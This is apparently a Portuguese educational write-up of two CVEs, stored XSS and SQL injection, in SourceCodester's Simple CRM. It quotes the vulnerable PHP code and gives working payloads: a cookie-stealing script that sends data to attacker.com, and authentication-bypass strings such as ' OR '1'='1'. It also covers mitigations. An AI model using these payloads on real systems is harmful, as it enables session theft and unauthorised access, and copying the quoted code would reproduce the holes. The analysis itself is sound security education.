momo1239/cve-2023-24203-and-cve-2023-24204Análise educacional de CVE-2023-24203 (XSS armazenado) e CVE-2023-24204 (Injeção de SQL) no SourceCodester CRM, com etapas de exploração e estratégias de mitigação.
No cenário de segurança cibernética em constante evolução, as aplicações web continuam sendo um alvo principal para atacantes que buscam explorar vulnerabilidades. Recentemente, duas vulnerabilidades críticas foram descobertas no SourceCodester Simple Customer Relationship Management (CRM) System v1.0: CVE-2023-24203 e CVE-2023-24204. Essas vulnerabilidades, envolvendo Cross-Site Scripting (XSS) e Injeção de SQL, apresentam riscos significativos, incluindo execução arbitrária de código e acesso não autorizado. Compreender essas vulnerabilidades e seus impactos é essencial para desenvolvedores e profissionais de segurança protegerem os sistemas contra ameaças potenciais.
Cross-Site Scripting (XSS) é um tipo de vulnerabilidade que ocorre quando uma aplicação web permite que usuários injetem scripts maliciosos em páginas web visualizadas por outros usuários. Isso pode levar a ações não autorizadas em nome do usuário, roubo de dados e exploração adicional. As vulnerabilidades XSS podem ser classificadas em três tipos principais:
A Injeção de SQL é um tipo de vulnerabilidade que ocorre quando um atacante consegue manipular consultas SQL injetando código SQL arbitrário em uma consulta. Isso pode levar a acesso não autorizado, roubo de dados e outras atividades maliciosas. A Injeção de SQL normalmente ocorre devido à validação insuficiente de entrada e à falta de consultas parametrizadas. Os principais impactos da Injeção de SQL incluem:
Neste post de blog, vamos nos aprofundar em CVE-2023-24203 e CVE-2023-24204, explorando os detalhes dessas vulnerabilidades, seus vetores de ataque, impactos e estratégias de mitigação. Compreender essas vulnerabilidades em profundidade é crucial para proteger suas aplicações e dados contra possíveis explorações.
As vulnerabilidades de Injeção de SQL geralmente são resultado de validação de entrada inadequada e más práticas de codificação. Algumas causas comuns incluem:
As vulnerabilidades de Cross-Site Scripting (XSS) são tipicamente causadas pela falha em lidar corretamente com a entrada e saída do usuário. Causas comuns incluem:
A CVE-2023-24203 é uma vulnerabilidade de Cross-Site Scripting (XSS) Armazenado encontrada no componente get-quote.php do SourceCodester Simple Customer Relationship Management (CRM) System v1.0. Essa vulnerabilidade permite que um atacante injete scripts maliciosos nos parâmetros company e query, que são então armazenados no banco de dados e executados quando visualizados por um administrador, levando à execução arbitrária de código.
A vulnerabilidade reside no script get-quote.php, que processa a entrada do usuário a partir de um formulário de solicitação de orçamento. O código-fonte PHP é mostrado abaixo:
<?php
session_start();
include("dbconnection.php");
include("checklogin.php");
check_login();
error_reporting(0);
if(isset($_POST['submit']))
{
$name=$_POST['name'];
$email=$_POST['email'];
$contact=$_POST['contact'];
$company=$_POST['company'];
$services=addslashes(mysqli_real_escape_string($con, json_encode($_POST['services'])));
$other=$_POST['other'];
$query=$_POST['query'];
$pd=date('Y-m-d');
mysqli_query($con,"insert into prequest(name,email,contactno,company,services,others,query,posting_date) values('$name','$email','$contact','$company','$services','$other','$query','$pd')");
echo "<script>alert('Query received. We will contact you soon.');</script>";
echo "<script>window.location.href='get-quote.php'</script>";
}
?>
O script recebe as entradas do usuário a partir do formulário (name, email, contact, company, services, other e query) e as incorpora diretamente em uma consulta SQL para armazenar os dados no banco de dados. Enquanto o campo services é sanitizado usando mysqli_real_escape_string e addslashes, os parâmetros company e query não são devidamente sanitizados ou codificados quando são refletidos de volta na resposta. Essa falta de sanitização e codificação adequadas permite a injeção e o armazenamento de scripts maliciosos no banco de dados.
Para explorar essa vulnerabilidade, um atacante pode criar um payload que inclua código JavaScript malicioso no parâmetro company ou query. Quando o administrador visualiza a solicitação de orçamento, o script injetado será executado no navegador dele.
Ao enviar o seguinte payload no parâmetro query:
<script>alert('XSS');</script>
O atacante pode acionar um ataque XSS quando o administrador visualizar a solicitação de orçamento.
Um payload mais prejudicial pode ser criado para roubar os cookies de sessão do administrador. Usando o seguinte payload no parâmetro query:
<script>document.location='http://attacker.com/steal-cookie?cookie='+document.cookie;</script>
O atacante pode enviar os cookies do administrador para um servidor remoto controlado pelo atacante.
Enviar Solicitação de Orçamento Maliciosa: O atacante preenche o formulário de solicitação de orçamento, injetando o payload malicioso no campo company ou query.
<form method="post" action="get-quote.php">
<input type="text" name="company" value="CompanyX"><br>
<input type="text" name="query" value="<script>document.location='http://attacker.com/steal-cookie?cookie='+document.cookie;</script>"><br>
<input type="submit" name="submit" value="Submit">
</form>
Administrador Visualiza a Solicitação: Quando o administrador faz login no sistema CRM e visualiza o orçamento enviado, o script malicioso é executado no navegador dele, enviando os cookies de sessão para o servidor do atacante.
A exploração bem-sucedida dessa vulnerabilidade de XSS armazenado permite que um atacante execute JavaScript arbitrário no contexto do navegador do administrador. Isso pode levar a várias ações maliciosas, incluindo:
Roubar cookies de sessão Sequestrar sessões de usuário Realizar ações não autorizadas em nome do administrador Redirecionar o administrador para sites maliciosos
Para mitigar essa vulnerabilidade, é essencial sanitizar e codificar todas as entradas do usuário antes de incorporá-las à página web. Especificamente:
Sanitize as Entradas: Use funções como htmlspecialchars() para codificar caracteres especiais nas entradas do usuário. Valide as Entradas: Implemente uma validação rigorosa de entrada para garantir que apenas dados esperados sejam aceitos. Content Security Policy (CSP): Use cabeçalhos CSP para restringir as fontes das quais os scripts podem ser carregados e executados.
A CVE-2023-24204 é uma vulnerabilidade de Injeção de SQL encontrada nos componentes get-quote.php e login.php do SourceCodester Simple Customer Relationship Management (CRM) System v1.0. Essa vulnerabilidade permite que um atacante injete comandos SQL arbitrários no banco de dados, potencialmente levando a acesso não autorizado e manipulação de dados.
A vulnerabilidade de Injeção de SQL está presente tanto nos scripts get-quote.php quanto em admin/login.php. Abaixo está uma análise de como essas vulnerabilidades se manifestam e podem ser exploradas.
O script get-quote.php processa a entrada do usuário a partir de um formulário de solicitação de orçamento. O código-fonte é mostrado abaixo:
<?php
session_start();
include("dbconnection.php");
include("checklogin.php");
check_login();
error_reporting(0);
if(isset($_POST['submit']))
{
$name=$_POST['name'];
$email=$_POST['email'];
$contact=$_POST['contact'];
$company=$_POST['company'];
$services=addslashes(mysqli_real_escape_string($con, json_encode($_POST['services'])));
$other=$_POST['other'];
$query=$_POST['query'];
$pd=date('Y-m-d');
mysqli_query($con,"insert into prequest(name,email,contactno,company,services,others,query,posting_date) values('$name','$email','$contact','$company','$services','$other','$query','$pd')");
echo "<script>alert('Query received. We will contact you soon.');</script>";
echo "<script>window.location.href='get-quote.php'</script>";
}
?>
E vamos também dar uma olhada na lógica do código-fonte do login.php.
<?php
session_start();
error_reporting(0);
include("dbconnection.php");
if(isset($_POST['login']))
{
$ret=mysqli_query($con,"SELECT * FROM user WHERE email='".$_POST['email']."' and password='".$_POST['password']."'");
$num=mysqli_fetch_array($ret);
if($num>0)
{
$_SESSION['login']=$_POST['email'];
$_SESSION['id']=$num['id'];
$_SESSION['name']=$num['name'];
$val3 =date("Y/m/d");
date_default_timezone_set("Asia/Calcutta");
$time=date("h:i:sa");
$tim = $time;
$ip_address=$_SERVER['REMOTE_ADDR'];
$geopluginURL='http://www.geoplugin.net/php.gp?ip='.$ip_address;
$addrDetailsArr = unserialize(file_get_contents($geopluginURL));
$city = $addrDetailsArr['geoplugin_city'];
$country = $addrDetailsArr['geoplugin_countryName'];
ob_start();
system('ipconfig /all');
$mycom=ob_get_contents();
ob_clean();
$findme = "Physical";
$pmac = strpos($mycom, $findme);
$mac=substr($mycom,($pmac+36),17);
$ret=mysqli_query($con,"insert into usercheck(logindate,logintime,user_id,username,email,ip,mac,city,country)values('".$val3."','".$tim."','".$_SESSION['id']."','".$_SESSION['name']."','".$_SESSION['login']."','$ip_address','$mac','$city','$country')");
$extra="dashboard.php";
echo "<script>window.location.href='".$extra."'</script>";
exit();
}
else
{
$_SESSION['action1']="Invalid username or password";
$extra="login.php";
echo "<script>window.location.href='".$extra."'</script>";
exit();
}
}
?>
O script get-quote.php não sanitiza adequadamente o parâmetro name. Um atacante pode interceptar a solicitação usando uma ferramenta como Burp Suite, modificar o parâmetro name e injetar comandos SQL maliciosos.
O script login.php é vulnerável a bypass de autenticação devido à falta de validação adequada de entrada nos campos email e password. Um atacante pode usar um payload como hack' or 1=1;# para contornar a autenticação e obter acesso.
' OR '1'='1';--
Envie a Solicitação Modificada: Envie a solicitação modificada para o servidor. O comando SQL injetado será executado pelo banco de dados.
Explorando o login.php
Navegue até a Página de Login: Vá para a página login.php.
Insira o Payload Malicioso: Use um payload como hack' or 1=1;# no campo email e qualquer string no campo password.
A exploração bem-sucedida dessas vulnerabilidades de Injeção de SQL pode levar a várias ações maliciosas, incluindo:
Acesso Não Autorizado: Atacantes podem obter acesso administrativo ao sistema. Roubo de Dados: Atacantes podem exfiltrar informações sensíveis do banco de dados. Manipulação de Dados: Atacantes podem alterar, inserir ou excluir dados no banco de dados. Mitigação Para mitigar essas vulnerabilidades, é essencial implementar validação de entrada adequada e usar consultas parametrizadas. Especificamente:
Use Prepared Statements: Implemente consultas parametrizadas para prevenir injeção de SQL. Valide as Entradas: Aplique uma validação rigorosa de entrada para garantir que apenas dados esperados sejam aceitos. Escape as Entradas: Escape adequadamente todas as entradas do usuário antes de usá-las em consultas SQL. Ao seguir essas boas práticas, você pode reduzir significativamente o risco de ataques de Injeção de SQL e proteger sua aplicação web contra exploração potencial.